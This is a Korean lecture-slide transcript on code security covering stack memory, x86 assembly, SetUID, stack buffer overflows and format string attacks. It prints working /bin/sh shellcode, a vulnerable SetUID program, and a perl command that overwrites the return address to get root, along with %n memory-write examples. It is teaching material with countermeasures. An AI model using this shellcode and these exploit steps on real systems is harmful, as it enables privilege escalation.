Chapter 05. 코드 보안 : 코드 속에 뒷길을 만드는 기술

Slides:



Advertisements
Similar presentations
1 08 배열. 한국대학교 객체지향연구소 2 C 로 배우는 프로그래밍 기초 2 nd Edition 배열  동일한 자료유형의 여러 변수를 일괄 선언  연속적인 항목들이 동일한 크기로 메모리에 저장되는 구조  동일한 자료 유형이 여러 개 필요한 경우에 이용할 수 있는.
Advertisements

1. 2 차원 배열  배열은 동일한 데이터 유형으로 여러 개의 변수를 사용할 경우 같은 이 름으로 지정하여 간편하게 사용할 수 있도록 하는 것으로서 앞에서 1 차원 배열을 공부하였습니다.  2 차원 배열은 바둑판을 생각하면 되며, 1 차원 배열에서 사용하는 첨자를 2.
- 1 - 정보 보안 개론과 실습 시스템 해킹과 보안 팀원 : 박진영 한동섭 · 권혁진.
Format String Attack! 포맷 스트링 공격 경일대학교 사이버보안학과 학년 남주호.
컴퓨터와 인터넷.
Chapter 9 Format String Bug (FSB)
Part 03 상수, 변수, 자료형 ©우균, 창병모 © 우균, 창병모.
Basic of Buffer Over Flow
ㅎㅎ 구조체 구조체 사용하기 함수 매개변수로서의 구조체 구조체 포인터와 레퍼런스 구조체 배열.
Shellcode 작성 김영성.
쉽게 풀어쓴 C언어 Express 제11장 포인터 C Express Slide 1 (of 27)
2장. 프로그램의 기본 구성. 2장. 프로그램의 기본 구성 2-1"Hello, World!" 들여다 보기 /* Hello.c */ #include int main(void) { printf("Hello, World! \n"); return 0;
실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기
버퍼 오버플로우 by 강희원,김무혁.
1장. 이것이 C 언어다.. 1장. 이것이 C 언어다. 프로그래밍 언어 1-1 C 언어의 개론적 이야기 한글, 엑셀, 게임 등의 프로그램을 만들 때 사용하는 언어 ‘컴퓨터 프로그래머’라는 사람들이 제작 C 언어(C++ 포함)를 가장 많이 사용함.
제 9 장 구조체와 공용체.
컴퓨터 프로그래밍 기초 [Final] 기말고사
제7강 학습 내용 주소지정 방식의 예 값 즉시 지정 방식과 실행 예 레지스터 직접지정 방식 메모리 직접지정 방식과 실행 예
버퍼 오버플로우에 대한 대책과 발전된 공격 안전한 함수 사용 버퍼 오버플로우에 취약한 함수 사용하지 않기
윤성우의 열혈 C 프로그래밍 윤성우 저 열혈강의 C 프로그래밍 개정판 Chapter 12. 포인터의 이해.
어셈블리 문법 보강 4월 10일.
7장 오버플로우 학습목표 내용 스택과 힙 버퍼 오버플로우 취약점을 이해한다.
시스템 보안 [Buffer Overflow] DEC, 15, 2013 By 박동혁.
쉽게 풀어쓴 C언어 Express 제17장 동적메모리와 연결리스트 C Express Slide 1 (of 13)
UNIT 07 Memory Map 로봇 SW 교육원 조용수.
5장. 참조 타입.
11장. 포인터 01_ 포인터의 기본 02_ 포인터와 Const.
SqlParameter 클래스 선문 비트 18기 발표자 : 박성한.
컴퓨터 프로그래밍 기초 #02 : printf(), scanf()
임베디드 실습 # LED, 7’Segment 제어
메시지 큐[5] – test1.c 메시지 제어: msgctl(2) #include <sys/msg.h>
Cross Compiler 설치.
DK-128 실습 EEPROM 제어 아이티즌 기술연구소
14장. 포인터와 함수에 대한 이해.
11장. 1차원 배열.
사용자 함수 사용하기 함수 함수 정의 프로그램에서 특정한 기능을 수행하도록 만든 하나의 단위 작업
13. 포인터와 배열! 함께 이해하기 IT응용시스템공학과 김 형 진 교수.
UNIT 07 Memory Map 로봇 SW 교육원 조용수.
3장 상수 변수 기본 자료형 키워드와 식별자 상수와 변수 기본 자료형 형변환 자료형의 재정의.
24장. 파일 입출력.
쉽게 풀어쓴 C언어 Express 제14장 포인터 활용 C Express Slide 1 (of 22)
19. 함수 포인터와 void 포인터.
Chapter6 : JVM과 메모리 6.1 JVM의 구조와 메모리 모델 6.2 프로그램 실행과 메모리 6.3 객체생성과 메모리
컴퓨터 프로그래밍 기초 - 10th : 포인터 및 구조체 -
자바 5.0 프로그래밍.
컴퓨터 프로그래밍 기초 - 8th : 함수와 변수 / 배열 -
문자열 컴퓨터시뮬레이션학과 2015년 봄학기 담당교수 : 이형원 E304호,
Choi Seong Yun 컴퓨터 프로그래밍 기초 #03 : 변수와 자료형 Choi Seong Yun
Canary value 스택 가드(Stack Guard).
디버깅 관련 옵션 실습해보기 발표 : 2008년 5월 19일 2분반 정 훈 승
4장. 데이터 표현 방식의 이해. 4장. 데이터 표현 방식의 이해 4-1 컴퓨터의 데이터 표현 진법에 대한 이해 n 진수 표현 방식 : n개의 문자를 이용해서 데이터를 표현 그림 4-1.
AT MEGA 128 기초와 응용 I 기본적인 구조.
7주차: Functions and Arrays
TVM ver 최종보고서
3.2 분기 명령어.
구조체(struct)와 공용체(union)
Summary of Pointers and Arrays
Numerical Analysis Programming using NRs
바이트 순서 변환 함수 주소 변환 함수 바이트 조작 함수 원격지 호스트 정보를 얻는 함수
실습과제 (변수와 자료형, ) 1. 다음 작업 (가), (나), (다)를 수행하는 프로그램 작성
제 4 장 Record.
제 29 강 스트링(string) 다루기 s a i s . s T i h t g r i n.
1. 지역변수와 전역변수 2. auto, register 3. static,extern 4. 도움말 사용법
어서와 C언어는 처음이지 제21장.
개정판 누구나 즐기는 C언어 콘서트 제13장 동적 메모리 출처: pixabay.
13. 포인터와 배열! 함께 이해하기.
Assembly 05 방호남 07 반지훈 09 박상욱.
Pointers summary.
6 객체.
2019 2학기 9장 배열과 포인터 1. 주소, 주소연산자(&) 2. 포인터, 역참조연산자(*) 3. 배열과 포인터.
Presentation transcript:

Chapter 05. 코드 보안 : 코드 속에 뒷길을 만드는 기술

시스템과 프로그램에 대한 이해 버퍼 오버플로우 공격 포맷 스트링 공격

컴퓨터의 기본 구조를 살펴본다. 기계어 수준에서의 프로그램 동작을 이해한다. 버퍼 오버플로우와 포맷 스트링 공격의 원리를 이해한다.

01 시스템과 프로그램에 대한 이해 하드웨어(Hardware)와 소프트웨어(Software)의 연관 관계 보안에 가장 취약한 부분은 소스코드 소스코드의 문제를 발생시키는 요인은 ‘데이터의 형태와 길이에 대한 불명확한 정의’ 불명확한 정의의 예 아이에게 장보기 심부름을 시키면서 사올 물품의 종류와 가격을 불명확하게 정의하는 것 [그림 5-1] 불명확한 명령을 내린 예

01 시스템과 프로그램에 대한 이해 시스템 메모리의 구조 어떤 프로그램을 동작시키면 메모리에 프로그램이 동작하기 위한 가상의 메모리 공간이 생성됨. 그 메모리 공간은 다시 목적에 따라 상위 메모리와 하위 메모리로 나눔. 스택 영역과 힙 영역 상위 메모리 : 스택(Stack)이라는 메모리 공간이 형성되고, 프로그램 로직이 동작하기 위한 인자 (Argument) 와 프로세스 상태를 저장하는 데 사용됨. 하위 메모리 : 힙(Heap)이 생성되고, 프로그램이 동작할 때 필요한 데이터 정보를 임시로 저장하는 데 사용됨. [그림 5-2] 메모리의 기본 구조

01 시스템과 프로그램에 대한 이해 시스템 메모리의 구조 [표 5-1] 80x86 CPU의 레지스터 범주 80386 레지스터 이름 비트 용도 범용 세그먼트 (General Register) EAX 누산기(Accmulator) 32 주로 산술 연산에 사용(함수의 결과 값 저장) EBX 베이스 레지스터(Base Register) 특정 주소 저장(주소 지정을 확대하기 위한 인덱스로 사용) ECX 카운트 레지스터(Count Register) 반복적으로 실행되는 특정 명령에 사용(루프의 반복 횟수나 좌우 방향 시프트 비트 수 기억) EDX 데이터 레지스터(Data Register) 일반 자료 저장(입출력 동작에 사용) (Segment CS 코드 세그먼트 레지스터 (Code Segment Register) 16 실행될 기계 명령어가 저장된 메모리 주소 지정 DS 데이터 세그먼트 레지스터 (Data Segment Register) 프로그램에서 정의된 데이터, 상수, 작업 영역의 메모리 주소 지정 DD 스택 세그먼트 레지스터 (Stack Segment Register) 프로그램이 임시로 저장할 필요가 있거나 사용자의 피호출 서브루틴이 사용할 데이터와 주소 포함 ES, FS,GS 엑스트라 세그먼트 레지스터 (Extra Segment Register) 문자 연산과 추가 메모리 지정을 위해 사용되는 여분의 레지스터 포인터 (Pointer EBP 베이스 포인터(Base Pointer) SS 레지스터와 함께 사용되어 스택 내의 변수 값을 읽는 데 사용 ESP 스택 포인터(Stack Pointer) SS 레지스터와 함께 사용되며, 스택의 가장 끝 주소를 가리킴 EIP 명령 포인터(Instruction Pointer) 다음 명령어의 오프셋(상대 위치 주소)를 저장하며 CS 레지스터와 합쳐져 다음에 수행될 명령의 주소 형성 인덱스 EDI 목적지 인덱스(Destination Index) 목적지 주소에 대한 값 저장 ESI 출발지 인덱스(Source Index) 출발지 주소에 대한 값 저장 플래그 레지스터 EFLAGS 플래그 레지스터(Flag Register) 연산 결과 및 시스템 상태와 관련된 여러 가지 플래그 값 저장

01 시스템과 프로그램에 대한 이해 프로그램의 실행 구조 main 함수와 덧셈을 하는 function이라는 서브루틴이 있는 프로그램 어셈블리어로 된 코드를 생성 sample.c void main() { int c; c=function(1, 2); } int function(int a, int b){ char buffer[10]; a=a+b; return a; gcc -S -o sample.a sample.c vi sample.a

01 시스템과 프로그램에 대한 이해 프로그램의 실행 구조 sample.a .file "sample.c" .version "01.01" gcc2_compiled.: .text .align 4 .globl main .type main,@function main: pushl %ebp ----------------------------------  movl %esp,%ebp ----------------------------  subl $4,%esp --------------------------------- pushl $2 -------------------------------------- pushl $1 -------------------------------------- call function ---------------------------------- addl $8,%esp --------------------------------  movl %eax,%eax -----------------------------  movl %eax,-4(%ebp) ------------------------- .L1: leave ------------------------------------------  ret ---------------------------------------------

01 시스템과 프로그램에 대한 이해 프로그램의 실행 구조 sample.a .Lfe1: .size main,.Lfe1-main .align 4 .globl function .type function,@function function: pushl %ebp ----------------------------------- movl %esp,%ebp ----------------------------- subl $12,%esp -------------------------------- movl 12(%ebp),%eax ------------------------- addl %eax,8(%ebp) --------------------------- movl 8(%ebp),%edx ------------------------- - movl %edx,%eax ------------------------------ jmp .L2 ----------------------------------------  .p2align 4,,7 .L2: leave ------------------------------------------ ret --------------------------------------------- .Lfe2: .size function,.Lfe2-function . ident "GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)“

01 시스템과 프로그램에 대한 이해 프로그램의 실행 구조 pushl %ebp 메인 함수가 종료될 때 프로세스가 복귀할 주소(ret)가 스택에 저장 ebp는 함수 시작 전의 기준점 스택에 저장된 ebp를 SFP(Saved Frame Pointer)라고 부름. RET(Return Address)에는 함수 종료 시 점프할 주소 값이 저장됨. [그림 5-4] pushl %ebp 실행시 스택의 구조

01 시스템과 프로그램에 대한 이해 프로그램의 실행 구조 movl %esp, %ebp esp 값을 ebp로 이동(move)하는 것으로, 현재의 esp 값을 ebp 레지스터에 저장. esp는 스택의 항상 가장 하위 메모리 주소를 가리키는 주소값) Subl $4, %esp esp에서 4바이트를 뺀다(subtraction). 스택에 4바이트(int 형은 4바이트)의 빈 공간을 할당 [그림 5-5] movl %esp, %ebp 실행 시 스택의 구조

01 시스템과 프로그램에 대한 이해 프로그램의 실행 구조 pushl $2 : 스택에 정수 2를 저장 call function : function 함수를 호출 ~ 세 단계는 function(1,2)에 대한 코드 [그림 5-6] pushl $2, pushl $1, call function 실행 시 스택의 구조

01 시스템과 프로그램에 대한 이해 프로그램의 실행 구조 pushl %ebp : 현재 레지스터의 ebp 값을 스택에 저장

01 시스템과 프로그램에 대한 이해 프로그램의 실행 구조 movl %esp,%ebp function(1, 2)의 시작에서도 프롤로그(pushl %ebp 명령과 movl %esp,%ebp)가 실행 [그림 5-8] movl %esp,%ebp 실행 시 스택의 구조

01 시스템과 프로그램에 대한 이해 프로그램의 실행 구조 subl $12,%esp esp 값(char buffer[10] 할당 값)에서 12바이트 만큼을 뺀다(스택에 12바이트 만큼의 용량을 할당한다.). char buffer는 10바이트 만큼 할당되도록 했으나, 스택에서는 4바이트 단위로 할당되므로 12바이트가 할당 [그림 5-9] subl $12,%esp 실행 시 스택의 구조

01 시스템과 프로그램에 대한 이해 프로그램의 실행 구조 movl 12(%ebp),%eax

01 시스템과 프로그램에 대한 이해 프로그램의 실행 구조 addl %eax,8(%ebp) ebp에 8바이트를 더한 주소 값의 내용(정수 1)에 eax(단계 10에서 2로 저장됨) 값을 더함. 8(%ebp) 값은 3이 됨. [그림 5-11] addl %eax,8(%ebp) 실행 시 스택의 구조

01 시스템과 프로그램에 대한 이해 프로그램의 실행 구조 movl 8(%ebp),%edx

01 시스템과 프로그램에 대한 이해 프로그램의 실행 구조 movl %edx,%eax : edx에 저장된 정수 3을 eax로 복사 jmp .L1 : L1로 점프 leave : 함수를 끝냄. ret : function 함수를 마치고 function 함수에 저장된 ebp 값을 제거 main 함수의 원래 ebp 값으로 ebp 레지스터 값을 변경 addl $8,%esp : esp에 8바이트를 더함. movl %eax,%eax : eax 값을 eax로 복사(사실상 의미는 없음) movl %eax,-4(%ebp) : ebp에서 4바이트를 뺀 주소 값(int c)에 eax 값을 복사 leave ret : 모든 과정을 마치고 프로그램을 종료

01 시스템과 프로그램에 대한 이해 셸 운영체제를 둘러싸고 있으면서 입력받는 명령어를 실행시키는 명령어 해석기 본 셸, 콘 셸, C 셸로 나눌 수 있고, 본 셸은 유닉스 시스템에서 사용하는 기본 셸임. 셸의 역할 자체의 내장 명령어 제공 입력/출력/오류의 리다이렉션(Redirection) 기능 제공 wildcard 기능 제공 파이프라인 기능 제공 조건부/무조건부 명령열(Sequences) 작성 기능 제공 서브셸(Subshell) 생성 기능 제공 후면 처리(Background Processing) 가능 셸 스크립트(Shell Script, 프로그램) 작성 가능 [그림 5-13] 유닉스 계열의 시스템에서 셸의 역할

01 시스템과 프로그램에 대한 이해 셸 셸은 /bin/sh 명령으로 실행 exit 명령을 통해 해당 셸을 빠져나올 수 있음. [그림 5-14] 레드햇 6.2에서 본 셸의 실행과 취소 "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00" "\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01" "\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff" "\x2f\x62\x69\x6e\x2f\x73\x68";

01 시스템과 프로그램에 대한 이해 셸 shell.c char shell[]= 기계어 코드가 실제로 셸로 실행되는지 확인해보자. shell.c char shell[]= "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00" "\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01" "\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff" "\x2f\x62\x69\x6e\x2f\x73\x68"; void main(){ int *ret; ret =(int *)&ret+2; (*ret)=(int)shell; } gcc -o shell -g -ggdb shell.c ./shell [그림 5-15] 기계어로 바꾼 shell을 실행한 결과

01 시스템과 프로그램에 대한 이해 프로세스 권한과 SetUID SetUID는 유닉스 시스템을 해킹하는 데 매우 중요한 요소로, 유닉스 파일에 rwsr-xr-x로 권한 설정이 되어 있음. 소유자 권한에서 x가 있을 자리에 s가 적혀 있음. SetUID 파일은 해당 파일이 실행될 때 누가 실행하든지 관계없이 파일 소유자의 권한을 갖는다는 특징이 있음. 해당 파일의 소유자가 root이면, 그 파일은 실행하는 사람이 누가 되었든지 파일이 실행되는 프로세스는 실 행시간 동안 파일 소유자인 root 권한으로 실행됨. 예) test라는 파일이 root 소유이며 SetUID 비트가 설정되어 있으면 [그림 5-16]과 같이 실행 SetUID 비트가 설정되어 있지 않다면 [그림 4-17]과 같이 실행 [그림 5-16] SetUID 설정 시 프로세스 권한 변경 [그림 5-17] SetUID 미설정 시 프로세스 권한

01 시스템과 프로그램에 대한 이해 프로세스 권한과 SetUID SetUID를 이용한 간단한 해킹 SetUID 부여 일반 사용자 권한에서 shell 파일을 실행 [그림 5-18] shell 파일에 SetUID 권한 부여 [그림 5-19] shell을 일반 사용자 권한에서 실행

02 버퍼 오버플로우 공격 버퍼 오버플로우 공격의 개념 가장 기본 개념은‘덮어쓰기’ 정상적인 경우에는 사용되지 않아야 주소 공간, 즉 원래는 덮어쓸 수 없는 부분에 해커가 임의의 코드를 덮어 쓰는 것 버퍼 오버플로우는 프로그래머가 취약한 특정 함수를 사용해야 공격이 가능 [그림 5-20] 버퍼 오버플로우 공격의 개념

02 버퍼 오버플로우 공격 버퍼 오버플로우 공격의 원리 bugfile.c int main(int argc, char *argv[ ]) argc는 취약한 코드인 bugfile.c가 컴파일되어 실행되는 프로그램의 인수 개수 *argv[ ]는 포인터 배열로서 인자로 입력되는 값에 대한 번지수를 차례대로 저장 argv[0] : 실행 파일의 이름 argv[1] : 첫 번째 인자의 내용 argv[2] : 두 번째 인자의 내용 char buffer[10] : 10바이트 크기의 버퍼를 할당 strcpy(buffer, argv[1]) : 버퍼에 첫 번째 인자(argv[1])를 복사(abcd 값을 버퍼에 저장) prinf(“%s\n”,&buffer) : 버퍼에 저장된 내용을 출력 버퍼 오버플로우 공격은 strcpy(buffer, argv[1])에서 일어남. bugfile.c int main(int argc, char *argv[]) { ------------  char buffer[10]; ------------------------------  strcpy(buffer, argv[1]); -----------------------  printf("%s\n", &buffer); ---------------------  }

02 버퍼 오버플로우 공격 버퍼 오버플로우 공격의 원리 GDB를 이용하여 main 함수를 먼저 살펴보고 strcpy가 호출되는 과정을 살펴보자. 0x80483f8 <main> : push %ebp 0x80483f9 <main+1> : mov %esp,%ebp 스택에 ebp 값을 밀어넣고, 현재의 esp 값을 ebp 레지스터에 저장 0x80483fb <main+3> : sub $0xc,%esp main 함수의 char buffer[10];를 실행 명령은 char로 메모리에 10바이트를 할당 하였으나, 메모리에서는 모두 4바이트 단위 로 할당이 되니 실제로 할당되는 메모리는 12바이트가 됨. gcc -o bugfile bugfile.c gdb bugfile disass main [그림 5-22] main+3까지 실행 시 스택의 구조

버퍼 오버플로우 공격 버퍼 오버플로우 공격의 원리 0x80483fe <main+6> : mov 0xc(%ebp),%eax ebp에서 상위 12바이트(0xC)의 내용을 eax 레지스터에 저장 eax 레지스터는 char *argv[]를 가리키고, eax에 argv[]에 대한 포인터 값이 저장. 0x8048401 <main+9> : add $0x4,%eax eax의 값을 4바이트 만큼 증가시킴. argv[ ]에 대한 포인터이므로 argv[1]을 가리킴. 0x8048404 <main+12> : mov (%eax),%edx eax 레지스터가 가리키는 주소의 값을 edx 레지 스터에 저장 프로그램을 실행할 때 인수 부분을 가리킴. [그림 5-23] main+6까지 실행 시 스택의 구조

버퍼 오버플로우 공격 버퍼 오버플로우 공격의 원리 0x8048406 <main+14> : push %edx 프로그램을 실행할 때 인수에 대한 포인터를 스택에 저장 인수를 주지 않고 프로그램을 실행시키면 0×0 값이 스택에 저장됨. 0x8048407 <main+15> : lea 0xfffffff4(%ebp),%eax eax 레지스터에 12(%ebp)의 주소 값을 저장 [그림 5-24] main+14까지 실행 시 스택의 구조

버퍼 오버플로우 공격 버퍼 오버플로우 공격의 원리 0x804840a <main+18> : push %eax 스택에 이를 저장 0x804840b <main+19> : call 0x8048340 <strcpy> ~에서 strcpy(buffer, argv[1]);를 실행시키기 위해 buffer, argv[1]과 관련된 사항을 스택에 모두 상주시킴. 마지막으로 strcpy 명령을 호출 [그림 5-25] main+18까지 실행 시 스택의 구조

버퍼 오버플로우 공격 버퍼 오버플로우 공격의 원리 0x8048340 <strcpy> : jmp *0x80494c0 버퍼 오버플로우 공격은 여기에서 일어남. strcpy 함수는 입력된 인수의 경계를 체크하지 않음. 인수는 buffer[10]으로 10바이트 길이를 넘지 않아야 하지만 이보다 큰 인수를 받아도 스택에 쓰게 됨. 13개의A를 인수로 쓰게 되면 A가 쌓임. [그림 5-26] A 문자 13개 입력 시 저장된 ebp 값 변조

02 버퍼 오버플로우 공격 버퍼 오버플로우 공격의 원리 실제로 컴파일하고 실행하면서 인수로 A를 충분히 많이 입력 bugfile은 관리자 권한으로 SetUID 권한을 부여(chmod 4755 bugfile 명령 실행) bugfile.c의 char buffer[10]이 할당되는 주소 공간이 12바이트, ebp가 저장되는 공간이 4바이트 A가 16개, 즉 16바이트(주소 공간 12바이트, ebp 저장 공간 4바이트)가 덮어씌워지고 결과적으로 스택의 ret 값을 침범하게 되어 일종의 오류가 생김. 일반적으로 공격에 egg shell 사용. Eggshell.c 는 기계어로 만든 코드를 메모리에 로드시켜주고 그 시작주소 가 어디인지 알려주는 툴 (gcc –o egg eggshell.c로 컴파일) ./bugfile AAAAAAAAAAAAAAA [그림 5-27] 입력 버퍼 이상의 문자열을 입력할 때 발생하는 세그먼테이션 오류 ./egg [그림 5-28] egg 셸의 실행

02 버퍼 오버플로우 공격 버퍼 오버플로우 공격의 원리 일반 사용자 권한으로 돌아가서 펄(Perl)을 이용해 A 문자열과 셸의 메모리 주소를 bugfile에 직접적으로 실행 perl -e 'system "./bugfile", "AAAAAAAAAAAAAAAA\x58\xfb\xff\xbf"' id [그림 5-29] 스택 버퍼 오버플로우 공격의 수행

02 버퍼 오버플로우 공격 버퍼 오버플로우 공격의 원리 공격이 모두 끝나면 계정이 root로 바뀌어 있음. [그림 5-30] ebp 값을 지나 ret 값의 변조

02 버퍼 오버플로우 공격 버퍼 오버플로우 공격에 대한 대응책 버퍼 오버플로우에 취약한 함수를 사용하지 않는다. strcpy(char *dest, const char *src); strcat(char *dest, const char *src); getwd(char *buf); gets(char *s); fscanf(FILE *stream, const char *format, ...); scanf(const char *format, ...); realpath(char *path, char resolved_path[]); sprintf(char *str, const char *format); 최신의 운영체제를 사용한다. 운영체제는 발전하면서 Non-Executable Stack, 스택 가드(Stack Guard), 스택 쉴드(Stack Shield)와 같이 운영 체제 내에서 해커의 공격코드가 실행되지 않도록 하는 여러 가지 장치가 있음.

03 포맷 스트링 공격 포맷 스트링 공격의 개념 formatstring.c #include <stdio.h> 포맷 스트링 공격은 데이터의 형태와 길이에 대한 불명확한 정의로 인한 문제점 중 ‘데이터 형태에 대한 불명확 한 정의’로 인한 것 formatstring.c #include <stdio.h> main(){ char *buffer = "wishfree"; printf("%s\n", buffer); } [표 5-2] 포맷 스트링 문자의 종류 파라미터 특징 %d 정수형 10진수 상수 (integer) %o 양의 정수 (8 진수) %f 실수형 상수 (float) %x 양의 정수 (16 진수) %lf 실수형 상수 (double) %s 문자열 문자 스트링 ((const)(unsigned) char *) %n * int (쓰인 총 바이트 수) %u 양의 정수 (10 진수) %hn %n의 반인 2바이트 단위

03 포맷 스트링 공격 포맷 스트링 공격의 원리 포맷 스트링의 동작 구조 char *buffer = "wishfree" formatstring.c의 코드를 간단히 분석해보자. “wishfree”라는 문자열에 대한 주소 값을 포인터로 지정 포인터(buffer)가 가르키는 주소에서 %s(문자 스트링)을 읽어서 출력(printf) char *buffer = "wishfree" printf("%s\n", buffer) [그림 5-31] formatstring.c 컴파일 및 실행 결과 [표 5-3] 포맷 스트링 구분 스파이 접선 formatstring.c 동작 접선자의 본명 원빈 버퍼의 주소에 위치한 실제 데이터 접선자의 암호명 홍길동 버퍼의 주소, *buffer(포인터) 신상착의 검은색 티셔츠와 푸른 색 반바지를 입은 동양인 남자 포맷 스트링, %s(데이터가 문자열임을 표시함) 접선자 접촉 wishfree에게 ‘당신이 검은색 티셔츠와 푸른 색 반바지를 입은 동양인 남자’의 접선자가 맞습니까? printf(“%s\n”, buffer) 접선자 확인 네, 제가 접선자이며 본명은 ‘원빈’입니다 wishfree

03 포맷 스트링 공격 포맷 스트링 공격의 원리 wrong.c #include <stdio.h> main(){ 취약한 포맷 스트링 wrong.c는 formatstring.c와 동일한 결과를 출력 wrong.c #include <stdio.h> main(){ char *buffer = "wishfree\n"; printf(buffer); } [그림 5-32] wrong.c 컴파일 및 실행

03 포맷 스트링 공격 포맷 스트링 공격의 원리 포맷 스트링 문자를 이용한 메모리 열람 wrong.c에서 char *buffer에 문자열을 입력할 때 %x라는 포맷 스트링 문자를 추가 test1.c를 컴파일하면 wishfree 문자열 이외에 8048440이라는 숫자가 출력된 것을 확인할 수 있음. test1.c #include <stdio.h> main(){ char *buffer = "wishfree\n%x\n"; printf(buffer); } [그림 5-33] test1.c 컴파일 및 실행

03 포맷 스트링 공격 포맷 스트링 공격의 원리 test2.c #include <stdio.h> main(){ 포맷 스트링 문자를 이용한 메모리 변조 printf("%64d%n\n", j, &i)은 j와 i의 주소 값에 64의 16진수 값을 입력함. test2.c를 컴파일하여 실행해보면 64 값이 16진수인 0x40로 출력되는 것을 확인할 수 있음. test2.c #include <stdio.h> main(){ long i=0x00000064, j=1; printf("i의 주소 : %x\n",&i); printf("i의 값 : %x\n",i); printf("%64d%n\n", j, &i); printf("변경된 i의 값 : %x\n",i); } %n 지시자는 %n이 사용되기 직전에 사용된 형식에 의해 출력된 문자들의 개수가 다음 변수에 저장된다. gcc -o test2 test2.c ./test2 [그림 5-34] test2의 실행 결과